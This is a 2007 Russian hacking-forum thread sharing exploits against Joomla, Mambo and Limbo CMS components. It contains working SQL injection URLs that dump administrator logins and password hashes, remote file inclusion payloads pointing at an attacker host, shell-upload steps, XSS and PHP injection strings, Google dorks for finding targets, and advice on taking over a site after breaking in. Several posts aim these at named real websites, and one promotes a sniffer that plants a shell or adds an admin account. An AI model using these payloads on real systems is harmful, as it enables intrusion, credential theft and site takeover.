Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

  1. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    CMS Joomla!


    Хочу начать обзор со слов, что как бы Joomla не считалась одной из самых уязвимых CMS, на мой взгляд, Joomla очень даже не плохой движок со стороны безопасности. Проблема заключается в сторонних компонентах подключаемых к движкам и разработанных левыми (не разработчиками Джумлы) разработчиками. Но блогодаря сторонним компонентам эта CMS становиться интересной «изнутри» (в администраторской панели).

    Доступ в администраторскую панель:
    Здесь я коснусь двух найденных мною уязвимостей в Джумле.

    1. Компонент SimpleFaq 2.х (com_simplefaq) *

    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

    Уязвимость существует из-за недостаточной обработки входных данных в параметре aid в установочном сценарии Joomla index.php (когда параметр \"option\" установлен в com_simplefaq и параметр task установлен в answer). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. (c) securitylab.ru

    * я позже узнал, что эта уязвимость была найдена до меня

    Уязвимые версии 2.х – 2.40

    Внешний вид:
    [​IMG]

    При запросе:
    Code:
    http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*
    Вежливо выдает логин, хеш (md5) и мыло:
    [​IMG]

    Теперь остаётся расшифровать хеш и проходить в администраторскую панель.

    Таким же образом можно получить доступ к БД MySQL, запросом:
    Code:
    http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,User,Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mysql.user/*
    Ну и соответственно наш милый браузер выдаст следующее:
    [​IMG]


    2. Компонент ReMOSitory 341RE (com_remository) *
    Уязвимость существует из-за недостаточной обработки загружаемых файлов на сервер, и наличия прямого доступа к ним по дефолту.

    * Данной уязвимости еще нигде не встречал

    Внешний вид:
    [​IMG]

    Теперь регистрируемся, и идем заливать файл (в нашем случае это шел))) по ссылке «Добавить файл»

    После того как файл добавлен он автоматически загружается во временное хранилище (/downloads/uploads/), до одобрения администратора. Но мы ждать не будем и последуем по ссылке http://victim.com/downloads/uploads/ и увидим следующее:
    [​IMG]

    Открываем... А дальше совсем другая история, которую не раз поднимали в пределах форума.

    Администраторская панель.

    Вот мы и добрались до намеченной цели, но мало попасть сюда, нужно еще и иметь доступ на добавление/редактирование/удаление файлов. Для этого есть два варианта:

    1. В большинстве случаях (на моей практике это 95/100) доступны на запись следующие папки:

    А это гуд! Теперь не раздумывая, идем следующим путем: Установка/удаление => Компоненты. И смотря оттого, что именно нужно (а иногда нужно именно всё) устанавливаем следующие компоненты:

    JoomlaXplorer 2.0 – подобие FTP сервера с возможностью установки прав на файлы, загрузка/редактирование/удаление файлов. Скрин:
    [​IMG]

    Причем как можно заметить из скрина доступ обеспечивает не только на директорию сайта, но и если здесь же хостятся другие, то и к другим)))

    JoomlaPack 1.1.0 – Компонент для создания архива данных (бэкап БД и Полный бэкап сайта с установочными файлами)
    [​IMG]

    Здесь ничего сложного нет, просто идем по ссылке «Создать архив сайта», выбираем, что именно нужно создать (архив БД или архив сайта), создаем, потом идем по ссылке «Сохраненные архивы сайта» и скачиваем.

    Теперь сайт под нашим чутким руководством)))

    2. Использования шелла для поднятия рутовских прав, по этой возможности много статей можно найти пройдя по ссылке www.google.com

    На этом всё. Ответственность за использования данной статьи предусмотрено Уголовным Кодексом Российской Федерации. Тема создана в познавательных целях.

    JoomlaXplorer 2.0тут
    JoomlaPack 1.1.0.тут

    Подборка сплоитов для CMS Joomla! И сторонних компонентов – тут – сплоиты (с) milw0rm.com

    P.S. И помните каким бы ни был взлом, главное что бы он был безопасным (с) Анфиса Чехова

    it's my (с) 2007
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    =НЕ ФЛЕЙМИТЬ=

    Для того чтобы было легче понять - Joomla - Это как бы 5ая версия Мамбы, которую решили нумеровать и назвать заново.

    Насчет узнавания версии в последних релизах вопрос затруднительный.
    Файл CHANGELOG.php может просматривать только админ, /includes/version.php тоже недотсупен на чтение. только инклудиься в файлы админки. installation/index.php - обычно удаляется.
    Смотрю более старые версии.


    Множество модулей для джумлы - мамбы страдают удаленнм - локальным инклудом файлов.
    Все из-за того, что переменная
    $mosConfig_absolute_path которая инклудится в практически каждом файле никак не проверяется.
    Точный список модулей и версий скоро будет готов.


    4.5.2.1
    mysql >4.1 (Использует подзапросы)
    Bug:
    Mambo 4.5.2.1 hash pass disclosur
    Mambo 4.5.2.1 by RST

    4.6rc1
    Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
    Mambo <= 4.6rc1 'Weblinks' blind SQL injection

    1.0
    RFI - http://targetsite.com/[path_to_Joomla!]/includes/joomla.php?includepath=[attacker]
    (c) http://packetstormsecurity.org/0606-exploits/joomla10.txt


    1.0.7
    Уязвимость в модуле com_rss, позволяющая провести дос атаку, путь, а также создавать произвольные файлы.
    Mambo/Joomla Path Disclosure & Remote DOS Exploit
    Создание файла: index.php?option=com_rss&feed=[имя файла]&no_html=1
    Путь: index.php?option=com_rss&feed=/&no_html=1
    DoS: index.php?option=com_poll&task=results&id=1&mosmsg=DOS@HERE<<>AAA<><>
    (с) bugs discovered by Foster (RST/GHC)
    В 1.0.8 все исправлено. Также как я посмотрел в этой версии с $mosmsg можно провести xss атаку, фильтр includes/phpInputFilter/class.inputfilter.php пропускает половину тэгов.


    1.0.9
    Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
    Joomla <= 1.0.9 'Weblinks' blind SQL injection


    1.0.10
    Уязвимость в com_poll, позволяющая "накрутить" тот или иной вариант ответа
    Joomla add unlimited votes


    1.5.0
    Уязвимость поволяет выполнять произвольные команды на сервере
    PoC: http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?
    Joomla! 1.5.0 Remote file include


    1.5 - 1.5 beta 2
    Уязвимость позволяет удаленно выполнять комманды на сервере.
    Уязвимый код:
    Code:
    1) components/com_search/views/search/tmpl/default_results.php
    
    line 12: <?php eval ('echo "'. $this->result .'";'); ?>
    
    2) templates/beez/html/com_search/search/default_results.php
    
    line 25: echo '<p>' . eval ('echo "' . $this->result . '";');
    
    Poc
    Remote command execution in Joomla! CMS 1.5 beta 2



    1.5 beta 1,2 + RC1
    Уязвимость присутствует в модуле com_contentв трех файлах archive.php,category.php,section.php в параметре filter,
    Joomla! 1.5 Beta1/Beta2/RC1 Remote SQL Injection Exploit


    Все версии
    ./administration/ sql injection
    http://packetstormsecurity.org/0707-exploits/joomla-sql.txt
    PoC:
    Раскрытие пути:

    Заливка шела в 1.5.* версиях.

     
    #2 darky, 6 Oct 2007
    Last edited: 6 Oct 2007
    4 people like this.
  3. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Инклуды в модах/модулях/компонентах

    Инклуды в модах/модулях/компонентах

    Обновлено: 12.01.2008

    Софтинка для автоматического чека инклудов прилагается в атаче.

    добавлен скрипт удаления повторов и сортировки по алфавиту
     

    Attached Files:

    #3 Elekt, 8 Oct 2007
    Last edited: 12 Jan 2008
  4. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    sql в гостевой книге (модуль com_akobook)
    v. <=3.42
    примеры: (вывод в цитатах)
    ps для танкистов /itemid,1/ = &itemid=1
     
    2 people like this.
  5. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    VULN: /multithumb.php
    BUG: include_once($mosConfig_absolute_path."/mambots/content/multithumb/class.img2thumb.inc");
    (с) http://www.rootshell-team.com/showthread.php?t=2969
     
    _________________________
    2 people like this.
  6. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path])

    # http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]
     
    1 person likes this.
  7. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Как узнать версию Joomla?

    Файл configuration.php-dist лежит в корне и сам себя описывает так:


    * -------------------------------------------------------------------------
    * ЭТОТ ФАЙЛ ДОЛЖЕН ИСПОЛЬЗОВАТЬСЯ ТОЛЬКО ПРИ НЕВОЗМОЖНОСТИ WEB-ИНСТАЛЛЯТОРА
    *
    * Если вы устанавливаете Joomla вручную, то есть не используете web-инсталлятор,
    * то переименуйте этот файл в configuration.php
    *
    * Например:
    * UNIX -> mv configuration.php-dist configuration.php
    * Windows -> rename configuration.php-dist configuration.php
    *
    * Теперь отредактируйте этот файл и установите параметры вашего сайта
    * и базы данных.
    * -------------------------------------------------------------------------


    Проблема, однако, состоит в том, что в 9 из 10 случаев файл переименовать либо забывают, либо просто не считают нужным.

    Примеры тому

    http://www.joomla.org/configuration.php-dist

    http://www.joomla.ru/configuration.php-dist

    Между тем, файл содержит чувствительную информацию, позволяющую узнать версию установленного пакета. Так, если установлена

    версия 1.0.13, файл содержит строчку:

    * @version $Id: configuration.php-dist 7424 2007-05-17 15:56:10Z robs $

    версии 1.0.11, 1.0.12

    * @version $Id: configuration.php-dist 4802 2006-08-28 16:18:33Z stingrey $

    версии 1.0.9, 1.0.10

    * @version $Id: configuration.php-dist 3754 2006-05-31 12:08:37Z stingrey $

    версия 1.0.8

    * @version $Id: configuration.php-dist 2622 2006-02-26 04:16:09Z stingrey $

    версии 1.0.5-1.0.7

    * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

    версия 1.0.4

    * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

    версия 1.0.3

    * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

    версии 1.0.1, 1.0.2

    * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

    версия 1.0.0

    * @version $Id: configuration.php-dist 47 2005-09-15 02:55:27Z rhuk $
     
    2 people like this.
  8. steepX

    steepX Member

    Joined:
    26 Apr 2007
    Messages:
    13
    Likes Received:
    6
    Reputations:
    0
    Уязвимость в поиске по сайту в параметре searchword. Дыра является DOM based XSS.

    http://site/index.
    php?option=com_search&searchword=';alert('XSS')//

    Для исполнения кода, пользователь должен сменить количество результатов поиска на одну страницу.
    уязвимы версии Joomla! <= 1.0.13
     
  9. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    а если так:
    * @version $Id: configuration.php-dist,v 1.4 2005/11/25 04:46:26 csouza Exp $

    какая версия?

    смахивает на 1.4 но както меня напрягают числа, в списке выше 2005\10 - это уже 1.5
     
    #9 BlackCats, 13 Nov 2007
    Last edited: 13 Nov 2007
  10. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    BlackCats, это у тебя какое-то Mambo (не из последних)... На счёт конкретной версии, сейчас, к сож. ответить не могу. Пока выкладываю данные для

    Joomla 1.5.x

    1.5.0 Release Candidate 3

    * @version $Id: configuration.php-dist 8946 2007-09-18 14:26:22Z louis $

    1.5.0 Release Candidate 2

    * @version $Id: configuration.php-dist 8290 2007-08-01 14:03:11Z jinx $

    1.5.0 Release Candidate 1

    * @version $Id: configuration.php-dist 7740 2007-06-13 21:01:25Z laurens $

    1.5.0 Beta 2

    * @version $Id: configuration.php-dist 6691 2007-02-21 09:29:26Z Jinx $

    1.5.0 Beta

    * @version $Id: configuration.php-dist 5361 2006-10-07 19:21:08Z Jinx $
     
    1 person likes this.
  11. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    дополнение к com_remository
    активнаяя xss если можно оставлять коментариии к файлам
    xttp://localhost/index.php?option=com_remository&Itemid=30&func=fileinfo&id=4
    и при загрузке файла иногда работает пхп инекция
    в "Заголовок:" пишем ";phpinfo();//"
    <input class='inputbox' type='text' id='filetitle' name='filetitle' size='25' value='' />
     
    1 person likes this.
  12. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
  13. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    позавчера нашёл вроде в паблике нету
    компонент com_joomradio
    google->inurl:com_joomradio inurl : option всего 452 маловато
    http://poosk.fm/index2.php?option=com_joomradio&page=show_radio&id=4+and+1=0+union+select+1,concat(username,0x3a,password),3,4,5,6,7+from+jos_users+where+gid=25+or+gid=24/*
     
    3 people like this.
  14. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    milw0rmv: Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vuln

    В догонку хочется сказать, что на Mambo перфикc mos_, на Joomla jos_

    Mambo:
    Code:
    index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+mos_users--
    Joomla:
    Code:
    index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+jos_users--
    Dork:
    Code:
    Google : "option=com_rsgallery" или inurl:"index.php?option=com_rsgallery"
     
    #14 it's my, 6 Dec 2007
    Last edited: 6 Dec 2007
    2 people like this.
  15. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    очень часто в жомле встречается xss но есть проблема сесия жывёт 30 минут поэтому написал активный снифер сначала снифер пытается залить шелл если не получится залить шелл создаётся новый админ

    http://slil.ru/25290482

    тестил на Joomla 1.0.12
     
    #15 chekist, 26 Dec 2007
    Last edited: 26 Dec 2007
    1 person likes this.
  16. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    LIMBO CMS (Lite mambo)

    Blind sql-inj

    сплоент:http://site/index.php?option=polls&Itemid=0&pollid=[id]/**/and/**/[подзапрос]
    где [id] - реально существующий id голосования, [подзапрос] - логическое выражение

    на данный момент уязвимы сайты тех. поддержки:
    Code:
    http://limbo-cms.com.ru/index.php?option=polls&Itemid=0&pollid=177/**/and/**/user()=0x746172656C6B615F61646D696E406C6F63616C686F7374
    Code:
    http://www.limboportal.com/index.php?option=polls&Itemid=0&pollid=26/**/and/**/1=1
    при неправильном варианте, голосование не отображается, т.к. префикс по умолчанию выбирается случайным образом, вместо префикса при выборке в подзапросе надо указывать после FROM %23__[имя таблицы], где [имя таблицы] - имя таблицы без префикса например:
    Code:
    http://www.xtreme.kz/index.php?option=polls&Itemid=0&pollid=26/**/and/**/substring((SELECT/**/1/**/from/**/%23__users),1,1)=1
    iJoomla Magazine

    Blind sql-inj

    сплоент:http://site/index2.php?option=com_magazine&func=show_magazine&id=[id]+and+[подзапрос]
    где [id] - реально существующий id страницы, [подзапрос] - логическое выражение

    на данный момент уязвимы сайты производителя:
    Code:
    http://www.ijoomla.com/index2.php?option=com_magazine&func=show_magazine&id=7+and+substring((select+username+from+jos_users+limit+1,1),1,1)=0x21&Itemid=91
    при неправильном варианте отображается другая страница


    З.Ы. Нашел сам, так что если вдруг боян, сильно не пинайте, это просто означает, что у вас больше информации чем у меня
     
    #16 Scipio, 29 Dec 2007
    Last edited: 31 Dec 2007
    2 people like this.
  17. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    с префексом можно не париться, может кто смотрел исходники тот может и заметил что префик обозначается "#__" потом строка передаётся функции setQuery кторая и заменяет "#__" на нужный, выглядеть будет так %23__users
     
    #17 chekist, 30 Dec 2007
    Last edited: 7 Feb 2014
    1 person likes this.
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Да ты прав, правда на сайте limbo-cms.com.ru это не прокатывает, незнаю почему, а вот на других сайтах работает, но вобщето мож мы с тобой разные версии смотрели, запрос передается не в setQuery а в функцию Execute, которая собственно и заменяет #__ на префикс
     
  19. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    работает в том случае если производители сторонних компонентов используют стандартные функции жомлы для общения с базой данных бывают и исключения, но в 90% работает
     
  20. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Joomla Component PU Arcade Remote SQL Injection Exploit

    //Exploit

    Code:
    http://server.com/Path/index.php?option=com_puarcade&Itemid=92&fid=-1%20union%20select%20concat(username,0x3a,password)%20from%20jos_users--
    //Текст для поиска:

    Code:
    inurl:index.php?option=com_puarcade
    inurl:/option,com_puarcade/
    (c)
     
    #20 Solide Snake, 1 Jan 2008
    Last edited: 1 Jan 2008
    2 people like this.